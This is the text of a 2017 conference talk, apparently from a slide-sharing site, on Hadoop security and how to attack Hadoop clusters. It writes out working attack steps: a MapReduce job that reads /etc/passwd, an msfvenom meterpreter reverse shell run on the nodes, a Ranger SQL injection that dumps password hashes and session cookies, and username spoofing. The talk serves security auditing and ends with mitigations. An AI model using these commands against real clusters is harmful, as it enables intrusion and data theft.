Positive Hack Days, profile picture
Uploaded byPositive Hack Days
1,778 views

Охота на уязвимости Hadoop

The document provides an overview of Hadoop's architecture and its security model, highlighting vulnerabilities and potential attack vectors within Hadoop clusters. It discusses various components, authentication issues, and how to exploit these weaknesses, including improper authentication, unauthorized access to data, and remote code execution on nodes. The authors emphasize the need for proper security measures, such as implementing Kerberos authentication and managing access controls, to strengthen Hadoop deployments.

Embed presentation

Hadoop safari : Hunting for vulnerabilities PHDays VII - 2017 – May, 23rd Mahdi BRAIK mahdi.braik@wavestone.com Thomas DEBIZE thomas.debize@wavestone.com
© WAVESTONE 2 Who are we ? Basically infosec auditors and incident responders / Piano, rugby player, cooking / CTF challenger Mehdi "Big" BRAIK / Guitar, riding, volley-ball / Git pushing infosec tools › https://github.com/maaaaz Thomas "Data" DEBIZE
Hadoop and its security model/ 01 How to pwn an Hadoop cluster/ 02 Taking a step back/ 03
Hadoop and its security model 1. Overview / 01 How to pwn an Hadoop cluster/ 02 Taking a step back/ 03
© WAVESTONE 5 Hadoop and Big Data environments overview "Hadoop is an open-source framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models" Distributed processing Hadoop distributed processing is mostly based on the MapReduce algorithm, originally described in 2004 by two Google engineers in order to sort and index Web pages Simple programming models "Users specify a map function that processes a key/value pair… …to generate a set of intermediate key/value pairs… …and a reduce function that merges all intermediate values associated with the same intermediate key" Hadoop MapReduce Fundamentals@LynnLangita
© WAVESTONE 6 Hadoop and Big Data environments overview "Hadoop is an open-source framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models" Open-source Although Hadoop is completely open-source and free, Hadoop environments are gathered around « distributions », the 3 current main distributions are the following Cloudera Hortonworks MapR A common point : the use of the "Hadoop Core" framework as a base of data storage and processing
© WAVESTONE 7 What a real Big Data environment looks like KNOX Ranger Sentry Record Service Kafka Morphlines Solr MapReduce Impala HCatalog Mahout Pig Hive Lucene ElasticSearch Sqoop Chukwa RabbitMQ DistCp Spark Hbase / Phoenix / Cassandra / Accumulo / MongoDB / Riak Drill Cloudera Manager / Ambari / MapR Control System / BigInsight / Mesos + Myriad HDFS YARN Lily Flume Flink Oozie Jupyter (iPython Notebook) / Hue / Tableau / SAS / Platfora / Splunk / Dataiku / Datameer / RHadoop Storm ZooKeeperFalcon Tez HAWQ Storage Processing ConsultationIndexationAcquisition Administration Security (infrastructure and uses) D A T A L I F E C Y C L E I N T H E P L A T F O R M CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU CPU RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAM RAMRAM Disk Disk Disk Disk Disk Disk Disk Disk Disk Disk Disk Disk Disk DiskDisk
© WAVESTONE 8 Storage In the Hadoop paradigm, every data is stored in the form of a file divided in multiple parts (by default, 128 MB per part) replicated in multiple points 2 types of nodes are present in a cluster: / Some DataNodes, storing actual file parts on the Hadoop Distributed File System / A single active NameNode, storing a mapping list of file parts and their DataNode location Hadoop Core under the hood MapReduce HDFS YARN HDFS Processing 2 components are at the heart of job processing: / MapRed, being the job distribution algorithm on the cluster / YARN (Yet Another Resource Negotiator), being the task scheduler on the cluster YARN MapReduce HadoopConceptsNote
© WAVESTONE 9 "Okay cool story but who uses Hadoop anyway ?" http://wiki.apache.org/hadoop/PoweredBy
Hadoop and its security model 2. Security model / 01 How to pwn an Hadoop cluster/ 02 Taking a step back/ 03
© WAVESTONE 11 Hadoop security model - Authentication By default, no authentication mechanism is enforced on an Hadoop cluster… …or rather, the « simple » authentication mode is used http://www.cloudera.com/content/www/en-us/documentation/enterprise/latest/topics/sg_auth_overview.html « Simple » authentication == Identification == You can be whatever service or whoever human you want on the cluster https://hadoop.apache.org/docs/r2.7.2/hadoop-project-dist/hadoop-common/SecureMode.html Mitigation: deploy the sole proper authentication mechanism provided by Hadoop, Kerberos https://github.com/steveloughran/kerberos_and_hadoop
© WAVESTONE 12 Hadoop security model - Authorization and Auditing Every single component of the cluster has its own authorization model, hence adding some serious complexity for defenders HDFS HDFS supports POSIX permissions (ugo), without any notion of executable file or setuid/setgid Since Hadoop 2.5, HDFS also supports POSIX ACLs allowing finer-grained access control with the use of extended attributes https://www.cloudera.com/documentation/enterprise/5-3-x/topics/cdh_sg_hdfs_ext_acls.html Hive Hive, the Hadoop SQL RDBMS, supports fine- grained ACLs for SQL verbs Some third-party components have to be deployed to centrally manage policies and audit traces: / Apache Ranger…which is currently only packaged for Hortonworks clusters / Sentry or RecordService for Cloudera clusters
© WAVESTONE 13 Hadoop security model – Data protection – In-transit Communications with the NameNode An RPC scheme is used on top of a Simple Authentication & Security Layer (SASL) mechanism which can use: / Generic Security Services (GSS-API), for Kerberos connections / DIGEST-MD5, when using Delegation Tokens (e.g. sending a job to NodeManager) 3 levels of RPC protection: / Authentication only / Integrity: authentication + integrity / Privacy: full data encryption By default, no encryption is applied on data « in-transit » (flow) and « at-rest » (cold storage)… …but encryption is natively available and can be enabled after validating one prerequisite: Kerberos Communications with Web apps Standard SSL/TLS is natively offered and has to be enabled Communications with DataNodes The DataTransferProtocol (DTP) can be encrypted at 2 levels: / Key exchange: 3DES or RC4… / Data encryption: AES 128/192/256 (default 128 bits) DTP authentication is achieved through SASL encapsulation https://hadoop.apache.org/docs/r2.4.1/hadoop-project- dist/hadoop-common/SecureMode.html
© WAVESTONE 14 Hadoop security model – Data protection – At-rest By default, no encryption is applied on data « in-transit » (flow) and « at-rest » (cold storage)… …but encryption is natively available and can be enabled after validating one prerequisite: Kerberos At-rest From Hadoop 2.6 the HDFS transparent encryption mechanism is available: / 1. An "encryption zone" has to be defined to encrypt data in a directory, protected by an "encryption zone key" (EZ key) / 2. Each file to be stored in that directory is encrypted with a "Data Encryption Key" (DEK) / 3. The DEK is encrypted by the EZ key…forming an "Encrypted Data Encryption Key" (EDEK) A user requests EDEK at NameNode, asks a Key Management Server (KMS) to decrypt it in order to have the DEK, to finally encrypt and upload it on the datalake http://blog.cloudera.com/blog/2015/01/new-in-cdh-5-3-transparent- encryption-in-hdfs/ The security boundary of that cryptosystem relies on ACLs on the KMS, to check if a user presenting an EDEK is allowed to access the encryption zone
Hadoop and its security model/ 01 How to pwn an Hadoop cluster 1. Mapping the attack surface / 02 Taking a step back/ 03
© WAVESTONE 16 How to pwn an Hadoop cluster – Mapping the attack surface Commonly on the NameNode -- HDFS TCP / 8020: HDFS metadata $ hadoop fs -ls /tmp HTTP / 50070 (50470): HDFS NameNode WebUI $ HDFS WebUI explorer at /explorer.html $ Redirecting actual data access to DataNode on port 50075 HTTP / 50090: Secondary NameNode WebUI $ Fewer stuff than the primary on TCP / 50070 -- YARN / MapReduce v2 TCP / 8030-3: YARN job submission HTTP / 8088 (8090): YARN ResourceManager WebUI HTTP / 19888 (19890): MapReduce v2 JobHistory Server WebUI -- old stuff : MapReduce v1 -- TCP / 8021: MapReduce v1 job submission HTTP / 50030: MapReduce v1 JobTracker Commonly on each DataNode -- HDFS TCP / 50010: HDFS data transfer $ hadoop fs -put <localfile> <remotedst> TCP / 50020: HDFS IPC internal metadata HTTP/ 50075 (50475): HDFS DataNode WebUI $ HDFS WebUI explorer at /browseDirectory.jsp -- YARN / MapReduce v2 HTTP / 8042 (8044): YARN NodeManager WebUI $ To track jobs -- old stuff : MapReduce v1 -- HTTP / 50060: MapReduce v1 TaskTracker * Ports in parentheses are serving content over SSL/TLS Interesting third-party module services HTTP / 14000: HTTPFS WebHDFS HTTP / 7180 (7183): Cloudera Manager HTTP / 8080: Apache Ambari HTTP / 6080: Apache Ranger HTTP / 8888: Cloudera HUE HTTP / 11000: Oozie Web Console
© WAVESTONE 17 How to pwn an Hadoop cluster – Mapping the attack surface NameNode HTTP / 50070 (50470): HDFS NameNode WebUI DataNode HTTP/ 50075 (50475): HDFS DataNode WebUI
© WAVESTONE 18 How to pwn an Hadoop cluster – Mapping the attack surface NameNode HTTP / 8088 (8090): YARN ResourceManager WebUI Datanode HTTP / 8042 (8044): YARN NodeManager WebUI
© WAVESTONE 19 How to pwn an Hadoop cluster – Mapping the attack surface NameNode HTTP / 19888 (19890): MapReduce v2 JobHistory Server WebUI NameNode HTTP / 50030: MapReduce v1 JobTracker DataNode HTTP / 50060: MapReduce v1 TaskTracker
© WAVESTONE 20 How to pwn an Hadoop cluster – Mapping the attack surface Nmap used to have some limited fingerprinting scripts until a recent commit (early march 2017) added some probes for the "http-enum" script, now detecting these components $ nmap -sV --script=http-enum -p- 192.168.11.150 PORT STATE SERVICE 6080/tcp open http | http-enum: |_ /login.jsp: Apache Ranger WebUI 8042/tcp open http | http-enum: |_ /node: Hadoop YARN Node Manager version 2.7.1.2.4.0.0-169, Hadoop version 2.7.1.2.4.0.0-169 8080/tcp open http | http-enum: |_ /: Apache Ambari WebUI 8088/tcp open http | http-enum: |_ /cluster/cluster: Hadoop YARN Resource Manager version 2.7.1.2.4.0.0-169, state "started", Hadoop version 2.7.1.2.4.0.0-169 19888/tcp open http | http-enum: |_ /jobhistory: Hadoop MapReduce JobHistory WebUI / Apache Ambari / Apache Oozie / Apache Ranger / Cloudera HUE / Cloudera Manager / Hadoop MapReduce v2 / Hadoop YARN Node Manager and Resource Manager Other NSE scripts do give some information about HBase (hbase-{master,region}-info.nse) and Flume (flume-master-info.nse)
Hadoop and its security model/ 01 How to pwn an Hadoop cluster 2. Surfing the datalake / 02 Taking a step back/ 03
© WAVESTONE 22 How to pwn an Hadoop cluster – Surfing the datalake What does a Big Data attacker want ? DATA ! How would he like to access it ? THROUGH A BROWSER ! WebHDFS WebHDFS offers REST API to access data on the HDFS datalake Where can I see some WebHDFS services ? / On the native HDFS DataNode WebUI: port 50075 / On the HTTPFS module: port 14000 Ok and now what if the cluster only enforces "simple" authentication ? You can access any stored data by using the "user.name" parameter.  That’s not a bug, that’s an authentication feature One protocol to rule them all…
© WAVESTONE 23 How to pwn an Hadoop cluster – Surfing the datalake Demo time Being able to have an complete listing of the datalake resources is crucial to attackers, in order to harvest interesting data So we developed a tool, HDFSBrowser, doing that job through multiple methods and that can produce a convenient CSV output
© WAVESTONE 24 How to pwn an Hadoop cluster – Surfing the datalake What does a Big Data attacker want ? DATA ! How would he like to access it ? With the Hadoop client CLI ! How can I specify an arbitrary desired username through CLI ? $ export HADOOP_USER_NAME=<your desired user>
Hadoop and its security model/ 01 How to pwn an Hadoop cluster 3. RCEing on nodes / 02 Taking a step back/ 03
© WAVESTONE 26 How to pwn an Hadoop cluster – RCEing on nodes Remember, Hadoop is a framework for distributed processing…it basically distributes task to execute With simple authentication and without proper network filtering of exposed services, one can freely execute commands on cluster nodes with MapReduce jobs What if I don’t want to go through the hassle of writing proper MapReduce Java code ? "Hadoop streaming is a utility that comes with the Hadoop distribution. The utility allows you to create and run MapReduce jobs with any executable or script as the mapper and/or the reducer" 1. $ hadoop jar <path_to_hadoop_streaming.jar> -input /non_empty_file_on_HDFS -output /output_directory_on_HDFS -mapper "/bin/cat /etc/passwd" -reducer NONE 2. $ hadoop fs –ls /output_directory_on_HDFS 3. $ hadoop fs –cat /output_directory_on_HDFS/part-00000 root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin This launches a MapReduce job This checks for the job result This retrieves the job result
© WAVESTONE 27 How to pwn an Hadoop cluster – RCEing on nodes Being able to execute bulk commands across the cluster is crucial to attackers, in order to harvest interesting data and pivot into the infrastructure Apart from executing single commands, using a meterpreter is possible and will offer session handling and pivoting easiness 1. $ msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload 2. msf> use exploit/multi/handler ; set payload linux/x86/meterpreter/reverse_tcp ; exploit 3. $ hadoop jar <path_to_hadoop_streaming.jar> -input /non_empty_file_on_HDFS -output /output_directory_on_HDFS -mapper "./msf.payload" -reducer NONE -file msf.payload -background This uploads a local file to HDFS This starts the job without waiting for its completion
© WAVESTONE 28 How to pwn an Hadoop cluster – RCEing on nodes
© WAVESTONE 29 How to pwn an Hadoop cluster – RCEing on nodes Limitations Due to the distributed nature of a MapReduce job, it is not possible to specify on which node you want to execute your payload Prerequisites This methods requires a working and complete cluster configuration on client-side (attacker side), there are several methods to grab the target cluster configuration Request "/conf" on most of native WebUI: / HDFS WebUI / JobHistory / ResourceManager / … Exploit vulnerabilities on third-party administration Web interfaces: / Unauthenticated configuration download on Cloudera Manager http://<cloudera_mgr_IP>:7180/cmf/services/<service_id_to_iterate> /client-config A B
© WAVESTONE 30 How to pwn an Hadoop cluster – RCEing on nodes Limitations Due to the distributed nature of a MapReduce job, it is not possible to specify on which node you want to execute your payload Prerequisites We developed a simple script "HadoopSnooper" to retrieve a minimum configuration for interacting with a remote Hadoop cluster
© WAVESTONE 31 How to pwn an Hadoop cluster – RCEing on nodes "Ok cool but come on, who exposes such services anyway ?"
© WAVESTONE 32 How to pwn an Hadoop cluster – RCEing on nodes "Ok cool but come on, who’s interested in attacking Hadoop stuff ?"
Hadoop and its security model/ 01 How to pwn an Hadoop cluster 4. Exploiting 3rd party modules / 02 Taking a step back/ 03
© WAVESTONE 34 How to pwn an Hadoop cluster – Exploiting 3rd party modules AAA module - Apache Ranger =< 0.5.2 Authenticated SQL injection (CVE-2016-2174) GET http://<apache_ranger_IP>:6080/service/plugins/policies/eventTime?eventTime=' or '1'='1&policyId=1 2 interesting post-exploit operations / Dump user credentials…but passwords are hashed in MD5 (SHA512 in newer versions) > select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3 : [*] , Admin, , admin, ceb4f32325eda6142bd65215f4c0f371, ROLE_SYS_ADMIN [*] , rangerusersync, 1457692398755_962_66, ambari-qa, 70b8374d3dfe0325aaa5002a688c7e3b, ROLE_SYS_ADMIN [*] , keyadmin, 1457692592328_160_91, amb_ranger_admin, a05f34d2dce2b4688fa82e82a89ba958,ROLE_KEY_ADMIN / or better…dump user session cookies and reuse them ! > select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3 : [*] 2016-05-08 13:30:11, admin, DEC6C0A899BB2E8793ABA9077311D8E6 [*] 2016-05-08 13:04:15, stduser, CD4142620CB7ED4186274D53B8E0D59E [*] 2016-05-08 13:01:26, rangerusersync, D84D98B58FC0F9554A4CABF3E205A5E8N
© WAVESTONE 35 How to pwn an Hadoop cluster – Exploiting 3rd party modules Data visualisation module - Cloudera HUE =< `/usr/bin/date` Most of the time, an edge node is deployed for datascientists and accessed through SSH to be able to interact with the Hadoop cluster. Most of the time, the data visualisation Web application Cloudera HUE is deployed on the edge node. 1. The hue.ini configuration file is by default accessible to anyone with the other permission set to read Several account credentials can be found in that configuration file such as : / The HUE database credentials / Various service account credentials (LDAP, SMTP, Kerberos etc.) Under these conditions, a neat attack scenario taking advantages of two <still unfixed> Cloudera HUE vulnerabilities can be followed and lead to HUE user session cookie stealing, hence allowing spoofing a user across the entire cluster launching arbitary jobs and browsing the datalake 1
© WAVESTONE 36 How to pwn an Hadoop cluster – Exploiting 3rd party modules Data visualisation module - Cloudera HUE =< `/usr/bin/date` 1. Hue user session cookies are stored in the database / It seems to be a default setting on Python Django databases… Cookies are stored in the django_session table: / session_key is the cookie / session_data holds the user id with some other information encoded in base64 2 Mitigation : unset the read for other permission on the hue.ini (at your own risk!)… …and do not deploy Cloudera Hue on an edge node or on a node accessible by non- database admins Neither Cloudera officially answered on these vulnerabilities… nor fixed them
Hadoop and its security model/ 01 How to pwn an Hadoop cluster 5. Exploiting keytabs misuse / 02 Taking a step back/ 03
© WAVESTONE 38 How to pwn an Hadoop cluster – Exploiting keytabs misuse Last but not least, our most 1337 attack to get some illegitimate access is… In real life, it gives you that kind of results, mostly in /home/ directories (local and HDFS) Mitigation : prevent potential permission misuse from users by not making them UNIX owner of their "home" directory, and use POSIX ACL (setfacl) to grant them read/write/execute… …and tell people a Kerberos keytab is *like* a password file. No read for other! $ find / -iname "*.keytab" -perm -o+r 2> /dev/null
© WAVESTONE 39 How to pwn an Hadoop cluster So you also want to start hunting for vulnerabilities ? Use a pre-packaged Hadoop environment in a single virtual machine Cloudera Hortonworks MapR Cloudera Quickstart HDP Sandbox MapR Sandbox All of our presented tools and resources are published on https://github.com/wavestone-cdt/hadoop-attack-library
Hadoop and its security model/ 01 How to pwn an Hadoop cluster/ 02 Taking a step back/ 03
© WAVESTONE 41 Taking a step back – Security maturity of the Big Data ecosystem A technology not built upon security / A lot of insecurity by default: › "Simple authentication" › No encryption A fragmented ecosystem / Security solutions availability may depends of distribution An immaturity in secure development / A lot of classic vulnerabilities….even for security modules A complex operational security / Fast pace of module versions…but low frequency of patch release from distributors › HDP 2.4 (march 2016) shipping Apache Ranger 0.5.0 (june 2015) / Users do misuse Kerberos keytabs and grant them read for other permissions
© WAVESTONE 42 Taking a step back – Wise recommendations Kerberize your cluster Reduce service exposition Don’t give free shells Harden components & try to keep up to date with technologies Don’t deploy applications on Edge nodes Prevent & detect permissions misuse on Kerberos keytabs
wavestone.com @wavestoneFR @secuinsider Mahdi BRAIK mahdi.braik@wavestone.com Questions ? Thomas DEBIZE thomas.debize@wavestone.com

More Related Content

PDF
Advanced Security In Hadoop Cluster
byEdureka!
 
PPTX
Learn to setup a Hadoop Multi Node Cluster
byEdureka!
 
PDF
Hadoop security
byBiju Nair
 
PDF
Cloudera hadoop installation
bySumitra Pundlik
 
PDF
Hadoop security
byshrey mehrotra
 
PPT
Deployment and Management of Hadoop Clusters
byAmal G Jose
 
PDF
Administer Hadoop Cluster
byEdureka!
 
PPTX
Hadoop administration
byAneesh Pulickal Karunakaran
 
Advanced Security In Hadoop Cluster
byEdureka!
 
Learn to setup a Hadoop Multi Node Cluster
byEdureka!
 
Hadoop security
byBiju Nair
 
Cloudera hadoop installation
bySumitra Pundlik
 
Hadoop security
byshrey mehrotra
 
Deployment and Management of Hadoop Clusters
byAmal G Jose
 
Administer Hadoop Cluster
byEdureka!
 
Hadoop administration
byAneesh Pulickal Karunakaran
 

What's hot

PPTX
Introduction to Cloudera's Administrator Training for Apache Hadoop
byCloudera, Inc.
 
PDF
Technical tips for secure Apache Hadoop cluster #ApacheConAsia #ApacheCon
byYahoo!デベロッパーネットワーク
 
PPTX
Learn Hadoop Administration
byEdureka!
 
DOC
Hadoop cluster configuration
byprabakaranbrick
 
PPTX
Hadoop and Kerberos: the Madness Beyond the Gate
bySteve Loughran
 
PDF
From docker to kubernetes: running Apache Hadoop in a cloud native way
byDataWorks Summit
 
PDF
Improving Hadoop Cluster Performance via Linux Configuration
byAlex Moundalexis
 
PPTX
Improving Hadoop Cluster Performance via Linux Configuration
byDataWorks Summit
 
PPTX
A day in the life of hadoop administrator!
byEdureka!
 
PDF
Hadoop installation by santosh nage
bySantosh Nage
 
PDF
[2A5]하둡 보안 어떻게 해야 할까
byNAVER D2
 
PDF
Introduction to hadoop administration jk
byEdureka!
 
PDF
2014 sept 4_hadoop_security
byAdam Muise
 
PDF
Top 5 Hadoop Admin Tasks
byEdureka!
 
PDF
Hortonworks.Cluster Config Guide
byDouglas Bernardini
 
PDF
Hadoop single node installation on ubuntu 14
byjijukjoseph
 
PDF
HiveServer2 for Apache Hive
byCarl Steinbach
 
ODP
Hadoop admin
byBalaji Rajan
 
PPTX
Hadoop For Enterprises
bynvvrajesh
 
PDF
Improving Hadoop Performance via Linux
byAlex Moundalexis
 
Introduction to Cloudera's Administrator Training for Apache Hadoop
byCloudera, Inc.
 
Technical tips for secure Apache Hadoop cluster #ApacheConAsia #ApacheCon
byYahoo!デベロッパーネットワーク
 
Learn Hadoop Administration
byEdureka!
 
Hadoop cluster configuration
byprabakaranbrick
 
Hadoop and Kerberos: the Madness Beyond the Gate
bySteve Loughran
 
From docker to kubernetes: running Apache Hadoop in a cloud native way
byDataWorks Summit
 
Improving Hadoop Cluster Performance via Linux Configuration
byAlex Moundalexis
 
Improving Hadoop Cluster Performance via Linux Configuration
byDataWorks Summit
 
A day in the life of hadoop administrator!
byEdureka!
 
Hadoop installation by santosh nage
bySantosh Nage
 
[2A5]하둡 보안 어떻게 해야 할까
byNAVER D2
 
Introduction to hadoop administration jk
byEdureka!
 
2014 sept 4_hadoop_security
byAdam Muise
 
Top 5 Hadoop Admin Tasks
byEdureka!
 
Hortonworks.Cluster Config Guide
byDouglas Bernardini
 
Hadoop single node installation on ubuntu 14
byjijukjoseph
 
HiveServer2 for Apache Hive
byCarl Steinbach
 
Hadoop admin
byBalaji Rajan
 
Hadoop For Enterprises
bynvvrajesh
 
Improving Hadoop Performance via Linux
byAlex Moundalexis
 

Similar to Охота на уязвимости Hadoop

PPTX
Open Source Security Tools for Big Data
byGreat Wide Open
 
PPTX
Big data security
byJoey Echeverria
 
PPTX
Improvements in Hadoop Security
byDataWorks Summit
 
PDF
Hadoop Security
byTimothy Spann
 
PPT
Setting_up_hadoop_cluster_Detailed-overview
byoyqhmysnxozaxsqfac
 
PDF
Hadoop Security: Overview
byCloudera, Inc.
 
PPTX
Securing the Hadoop Ecosystem
byDataWorks Summit
 
PPTX
Curb your insecurity with HDP
byDataWorks Summit/Hadoop Summit
 
PDF
Hortonworks Protegrity Webinar: Leverage Security in Hadoop Without Sacrifici...
byHortonworks
 
PPTX
Hdp security overview
byHortonworks
 
PPT
Hadoop Operations: How to Secure and Control Cluster Access
byCloudera, Inc.
 
PPTX
Big Data Security on Microsoft Azure - HDInsight and HortonWorks
byLuan Moreno Medeiros Maciel
 
PPTX
Open Source Security Tools for Big Data
byRommel Garcia
 
PDF
Hadoop & Security - Past, Present, Future
byUwe Printz
 
PPTX
Curb Your Insecurity - Tips for a Secure Cluster (with Spark too)!!
byPardeep Kumar Mishra (Big Data / Hadoop Consultant)
 
PPTX
Improvements in Hadoop Security
byChris Nauroth
 
PPTX
Securing Hadoop in an Enterprise Context (v2)
byHellmar Becker
 
PDF
CIS13: Big Data Platform Vendor’s Perspective: Insights from the Bleeding Edge
byCloudIDSummit
 
PDF
Hortonworks and Voltage Security webinar
byHortonworks
 
PDF
Doing hadoop securely
byRobert Gibbon
 
Open Source Security Tools for Big Data
byGreat Wide Open
 
Big data security
byJoey Echeverria
 
Improvements in Hadoop Security
byDataWorks Summit
 
Hadoop Security
byTimothy Spann
 
Setting_up_hadoop_cluster_Detailed-overview
byoyqhmysnxozaxsqfac
 
Hadoop Security: Overview
byCloudera, Inc.
 
Securing the Hadoop Ecosystem
byDataWorks Summit
 
Curb your insecurity with HDP
byDataWorks Summit/Hadoop Summit
 
Hortonworks Protegrity Webinar: Leverage Security in Hadoop Without Sacrifici...
byHortonworks
 
Hdp security overview
byHortonworks
 
Hadoop Operations: How to Secure and Control Cluster Access
byCloudera, Inc.
 
Big Data Security on Microsoft Azure - HDInsight and HortonWorks
byLuan Moreno Medeiros Maciel
 
Open Source Security Tools for Big Data
byRommel Garcia
 
Hadoop & Security - Past, Present, Future
byUwe Printz
 
Curb Your Insecurity - Tips for a Secure Cluster (with Spark too)!!
byPardeep Kumar Mishra (Big Data / Hadoop Consultant)
 
Improvements in Hadoop Security
byChris Nauroth
 
Securing Hadoop in an Enterprise Context (v2)
byHellmar Becker
 
CIS13: Big Data Platform Vendor’s Perspective: Insights from the Bleeding Edge
byCloudIDSummit
 
Hortonworks and Voltage Security webinar
byHortonworks
 
Doing hadoop securely
byRobert Gibbon
 

More from Positive Hack Days

PPTX
Развитие сообщества Open DevOps Community
byPositive Hack Days
 
PPTX
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
byPositive Hack Days
 
PDF
Уязвимое Android-приложение: N проверенных способов наступить на грабли
byPositive Hack Days
 
PPTX
Типовая сборка и деплой продуктов в Positive Technologies
byPositive Hack Days
 
PDF
Credential stuffing и брутфорс-атаки
byPositive Hack Days
 
PPTX
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
byPositive Hack Days
 
PDF
Теоретические основы Application Security
byPositive Hack Days
 
PPTX
Использование анализатора кода SonarQube
byPositive Hack Days
 
PDF
Мастер-класс «Трущобы Application Security»
byPositive Hack Days
 
PDF
SOC для КИИ: израильский опыт
byPositive Hack Days
 
PDF
Эвристические методы защиты приложений
byPositive Hack Days
 
PPTX
Как мы собираем проекты в выделенном окружении в Windows Docker
byPositive Hack Days
 
PPTX
Механизмы предотвращения атак в ASP.NET Core
byPositive Hack Days
 
PDF
Honeywell Industrial Cyber Security Lab & Services Center
byPositive Hack Days
 
PDF
Формальная верификация кода на языке Си
byPositive Hack Days
 
PDF
Формальные методы защиты приложений
byPositive Hack Days
 
PPTX
Аналитика в проектах: TFS + Qlik
byPositive Hack Days
 
PPTX
Автоматизация построения правил для Approof
byPositive Hack Days
 
PPTX
От экспериментального программирования к промышленному: путь длиной в 10 лет
byPositive Hack Days
 
PPTX
Требования по безопасности в архитектуре ПО
byPositive Hack Days
 
Развитие сообщества Open DevOps Community
byPositive Hack Days
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
byPositive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
byPositive Hack Days
 
Типовая сборка и деплой продуктов в Positive Technologies
byPositive Hack Days
 
Credential stuffing и брутфорс-атаки
byPositive Hack Days
 
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
byPositive Hack Days
 
Теоретические основы Application Security
byPositive Hack Days
 
Использование анализатора кода SonarQube
byPositive Hack Days
 
Мастер-класс «Трущобы Application Security»
byPositive Hack Days
 
SOC для КИИ: израильский опыт
byPositive Hack Days
 
Эвристические методы защиты приложений
byPositive Hack Days
 
Как мы собираем проекты в выделенном окружении в Windows Docker
byPositive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
byPositive Hack Days
 
Honeywell Industrial Cyber Security Lab & Services Center
byPositive Hack Days
 
Формальная верификация кода на языке Си
byPositive Hack Days
 
Формальные методы защиты приложений
byPositive Hack Days
 
Аналитика в проектах: TFS + Qlik
byPositive Hack Days
 
Автоматизация построения правил для Approof
byPositive Hack Days
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
byPositive Hack Days
 
Требования по безопасности в архитектуре ПО
byPositive Hack Days
 

Recently uploaded

PDF
Day 1 - Cloud Security Strategy and Planning ~ 2nd Sight Lab ~ Cloud Security...
by2nd Sight Lab
 
PDF
The year in review - MarvelClient in 2025
bypanagenda
 
PDF
Day 5 - Red Team + Blue Team in the Cloud - 2nd Sight Lab Cloud Security Class
by2nd Sight Lab
 
DOCX
Introduction to the World of Computers (Hardware & Software)
byALIABBAS ABASOV
 
PDF
Unser Jahresrückblick – MarvelClient in 2025
bypanagenda
 
DOCX
iRobot Post‑Mortem and Alternative Paths - Discussion Document for Boards and...
byDave Litwiller
 
PPT
software-security-intro in information security.ppt
byismaeelsahib032
 
PPTX
Conversational Agents – Building Intelligent Assistants [Virtual Hands-on Wor...
byUiPathCommunity
 
PPTX
Coded Agents – with UiPath SDK + LangGraph [Virtual Hands-on Workshop]
byUiPathCommunity
 
PDF
Internet_of_Things_IoT_for_Next_Generation_Smart_Systems_Utilizing.pdf
byRoshanSyed12
 
PDF
API-First Architecture in Financial Systems
bycyy111112
 
PDF
The major tech developments for 2026 by Pluralsight, a research and training ...
byChris Skinner
 
PDF
Is It Possible to Have Wi-Fi Without an Internet Provider
bySidra Jefferi
 
PPTX
Unit-4-ARTIFICIAL NEURAL NETWORKS.pptx ANN ppt Artificial neural network
byssuserd4481a
 
PDF
Digit Expo 2025 - EICC Edinburgh 27th November
byRay Bugg
 
PDF
Energy Storage Landscape Clean Energy Ministerial
bySurajitBanerjee38
 
PPTX
THIS IS CYBER SECURITY NOTES USED IN CLASS ON VARIOUS TOPICS USED IN CYBERSEC...
byMelissaGblinwon
 
PPTX
AI in Cybersecurity: Digital Defense by Yasir Naveed Riaz
byYasir Naveed Riaz
 
PPTX
wob-report.pptxwob-report.pptxwob-report.pptx
byssuser0d171c
 
PDF
Six Shifts For 2026 (And The Next Six Years)
byDavid Armano
 
Day 1 - Cloud Security Strategy and Planning ~ 2nd Sight Lab ~ Cloud Security...
by2nd Sight Lab
 
The year in review - MarvelClient in 2025
bypanagenda
 
Day 5 - Red Team + Blue Team in the Cloud - 2nd Sight Lab Cloud Security Class
by2nd Sight Lab
 
Introduction to the World of Computers (Hardware & Software)
byALIABBAS ABASOV
 
Unser Jahresrückblick – MarvelClient in 2025
bypanagenda
 
iRobot Post‑Mortem and Alternative Paths - Discussion Document for Boards and...
byDave Litwiller
 
software-security-intro in information security.ppt
byismaeelsahib032
 
Conversational Agents – Building Intelligent Assistants [Virtual Hands-on Wor...
byUiPathCommunity
 
Coded Agents – with UiPath SDK + LangGraph [Virtual Hands-on Workshop]
byUiPathCommunity
 
Internet_of_Things_IoT_for_Next_Generation_Smart_Systems_Utilizing.pdf
byRoshanSyed12
 
API-First Architecture in Financial Systems
bycyy111112
 
The major tech developments for 2026 by Pluralsight, a research and training ...
byChris Skinner
 
Is It Possible to Have Wi-Fi Without an Internet Provider
bySidra Jefferi
 
Unit-4-ARTIFICIAL NEURAL NETWORKS.pptx ANN ppt Artificial neural network
byssuserd4481a
 
Digit Expo 2025 - EICC Edinburgh 27th November
byRay Bugg
 
Energy Storage Landscape Clean Energy Ministerial
bySurajitBanerjee38
 
THIS IS CYBER SECURITY NOTES USED IN CLASS ON VARIOUS TOPICS USED IN CYBERSEC...
byMelissaGblinwon
 
AI in Cybersecurity: Digital Defense by Yasir Naveed Riaz
byYasir Naveed Riaz
 
wob-report.pptxwob-report.pptxwob-report.pptx
byssuser0d171c
 
Six Shifts For 2026 (And The Next Six Years)
byDavid Armano
 

Охота на уязвимости Hadoop

  • 1.
